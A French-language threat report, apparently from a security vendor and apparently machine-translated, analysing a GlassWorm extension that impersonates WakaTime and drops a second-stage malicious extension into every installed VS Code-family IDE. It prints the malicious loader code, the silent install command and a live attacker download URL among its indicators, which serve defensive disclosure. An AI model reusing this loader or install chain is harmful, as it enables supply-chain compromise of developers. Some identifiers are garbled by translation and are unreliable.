Nous suivons GlassWorm depuis plus d’un an. Ce groupe a fait son apparition en mars 2025, lorsque Aikido des paquets npm malveillants dissimulant des charges utiles à l’intérieur de caractères Unicode invisibles. Depuis lors, la campagne n'a cessé de prendre de l'ampleur, compromettant des centaines de projets sur GitHub, npm et VS Code, et diffusant tout récemment un RAT persistant via une fausse extension Chrome qui enregistrait les frappes au clavier et récupérait les cookies de session. Le groupe ne cesse d'évoluer, et vient de franchir une étape importante.
Nous avons observé cette nouvelle technique dans une extension OpenVSX appelée « code-wakatime-activity-tracker ». L'extension se fait passer pour WakaTime, l'outil populaire de suivi du temps de travail des développeurs, et fournit un binaire natif compilé avec Zig en plus de son code JavaScript. Ce n'est pas la première fois que GlassWorm a recours à du code natif compilé dans ses extensions. Cependant, plutôt que d'utiliser directement le binaire comme charge utile, celui-ci sert de moyen de diffusion furtif pour le dropper GlassWorm connu, qui infecte désormais secrètement tous les autres IDE qu'il peut trouver sur votre système.
Le dropper : une extension infectée par un cheval de Troie
L'extension code-wakatime-suivi-d'activité, publiée sur OpenVSX, est à première vue presque identique à l'extension WakaTime authentique : mêmes commandes enregistrées, mêmes demandes de clé API, mêmes icônes dans la barre d'état. La différence réside en un seul point : le activate() fonction.
const bw = process.platform === "win32" ? "./bin/win.node" : "./bin/mac.node";
const { install } = require(bw);
install();Avant l'exécution de toute logique WakaTime, l'extension charge un binaire natif à partir du ./bin/ répertoire fourni avec l'extension et appelle immédiatement installer(). Sous Windows, cela correspond à win.node, une DLL PE32+. Sous macOS, il s'agit de mac.node, un Mach-O universel prenant en charge à la fois les architectures x86_64 et arm64. Il s'agit d'extensions natives de Node.js : des bibliothèques partagées compilées qui se chargent directement dans l'environnement d'exécution de Node et s'exécutent en dehors du bac à sable JavaScript avec un accès complet au niveau du système d'exploitation. Les deux sont écrites en Zig. Le binaire macOS a été compilé en conservant les symboles de débogage, ce qui révèle un chemin d'accès au projet /Utilisateurs/davidioasd/Téléchargements/vsx_installer_zig.
Infecter tous les IDE de la machine
Une fois chargé, le programme binaire commence par rechercher tous les environnements de développement intégré (IDE) installés sur la machine qui prennent en charge le format d'extension VS Code. Il installe ensuite discrètement une extension malveillante dans chacun d'entre eux.
Windows (à partir de win.node):
%LOCALAPPDATA%\Programs\Microsoft VS Code\bin\code.cmd
%LOCALAPPDATA%\Programs\Microsoft VS Code Insiders\bin\code-insiders.cmd
%LOCALAPPDATA%\Programs\cursor\resources\app\bin\cursor.cmd
%LOCALAPPDATA%\Programs\windsurf\resources\app\bin\windsurf.cmd
%LOCALAPPDATA%\Programs\VSCodium\resources\app\bin\codium.cmd
%LOCALAPPDATA%\Programs\Positron\resources\app\bin\positron.cmd
%ProgramFiles%\Microsoft VS Code\bin\code.cmd
%ProgramFiles%\Positron\resources\app\bin\positron.cmdmacOS (à partir de mac.node) :
/Applications/Visual Studio Code.app/Contents/Resources/app/bin/code
/Applications/Visual Studio Code - Insiders.app/.../code-insiders
/Applications/Cursor.app/Contents/Resources/app/bin/cursor
/Applications/Windsurf.app/Contents/Resources/app/bin/windsurf
/Applications/VSCodium.app/Contents/Resources/app/bin/codium
/Applications/Positron.app/Contents/Resources/app/bin/positronCette attaque ne concerne pas uniquement VS Code : elle touche l'ensemble de l'écosystème des éditeurs qui utilisent le même système d'extensions : VS Code, VS Code Insiders, Cursor, Windsurf, VSCodium et Positron. Un développeur utilisant Cursor comme éditeur principal, mais ayant également installé VS Code, verrait ses deux éditeurs compromis.
Une fois la liste IDE générée, le binaire récupère un fichier malveillant .vsix à partir d'une page GitHub Releases contrôlée par le pirate :
https://github.com/ColossusQuailPray/oiegjqde/releases/download/12/autoimport-2.7.9.vsixLe paquet se fait passer pour steoates.autoimport, une extension VS Code légitime et très populaire qui compte des millions d'installations. Le fichier téléchargé .vsix est enregistré dans un répertoire temporaire, puis installé en arrière-plan dans chaque IDE détecté à l'étape précédente à l'aide du programme d'installation en ligne de commande propre à chaque éditeur. Sous Windows, cette opération s'effectue via cmd.exe:
cmd.exe /d /e:ON /v:OFF /c "<ide_path> --install-extension <vsix_path>"Une fois l'installation terminée, nettoyageVsix supprime le fichier téléchargé pour effacer toute trace.
L'extension de deuxième phase
Le fichier .vsix installé de force correspond au même dropper GlassWorm que nous avons suivi et analysé en détail. Il délimite géographiquement les systèmes russes, envoie des signaux vers un serveur de commande et de contrôle (C2) basé sur la blockchain Solana, et, comme nous l'avons constaté lors de notre précédente analyse, il procède à l'exfiltration secrète de données et installe un RAT persistant, comprenant notamment une extension Chrome malveillante.

Comment Aikido cela
Si vous avez installé specstudio/code-wakatime-suivi-d'activité ou voir floktokbok.autoimport Si l'un de vos listes d'extensions IDE contient cette entrée, considérez que votre machine a été compromise et changez tous les identifiants confidentiels auxquels on aurait pu accéder.
Si vous Aikido , consultez votre flux central et filtrez les problèmes liés aux logiciels malveillants. Cela apparaîtra comme un problème critique de niveau 100/100. Aikido chaque nuit, mais nous vous recommandons de lancer une analyse manuelle dès maintenant.
Si vous n'êtes pas encore Aikido , vous pouvez créer un compte et connecter vos dépôts. Notre protection contre les logiciels malveillants est incluse dans la formule gratuite, sans carte de crédit.
Pour une protection plus complète de l'ensemble de votre équipe, la solution Endpoint Protection Aikido vous offre une visibilité et un contrôle sur les logiciels installés sur les appareils de votre équipe. Elle couvre les extensions de navigateur, les bibliothèques de code, les plugins IDE et les dépendances de compilation, le tout en un seul endroit. Bloquez les logiciels malveillants avant même qu'ils ne s'installent.
Pour vous protéger à l'avenir, pensez à Aikido Chain (open source). Safe Chain s'intègre à votre flux de travail actuel : il intercepte les commandes npm, npx, yarn, pnpm et pnpx et vérifie la conformité des paquets par rapport Aikido avant leur installation.
IOCs
Extensions
specstudio/code-wakatime-suivi-d'activité(extension OpenVSX infectée par un cheval de Troie)autoimport-2.7.9(intégration de deuxième étape dans les IDE)
Fichiers
win.nodedans le répertoire ./bin/ de n'importe quelle extension VS Code- SHA-256 :
2819ea44e22b9c47049e86894e544f3fd0de1d8afc7b545314bd3bc718bf2e02
- SHA-256 :
mac.nodedans le répertoire ./bin/ de n'importe quelle extension VS Code- SHA-256 :
112d1b33dd9b0244525f51e59e6a79ac5ae452bf6e98c310e7b4fa7902e4db44
- SHA-256 :
Réseau
https://github[.]com/ColossusQuailPray/oiegjqde/releases/download/12/autoimport-2.7.9.vsix
Cordes
vsx_installer_zig(Nom du projet Zig trouvé dans le fichier binaire macOS)davidioasd(Nom d'utilisateur trouvé dans le fichier binaire macOS)

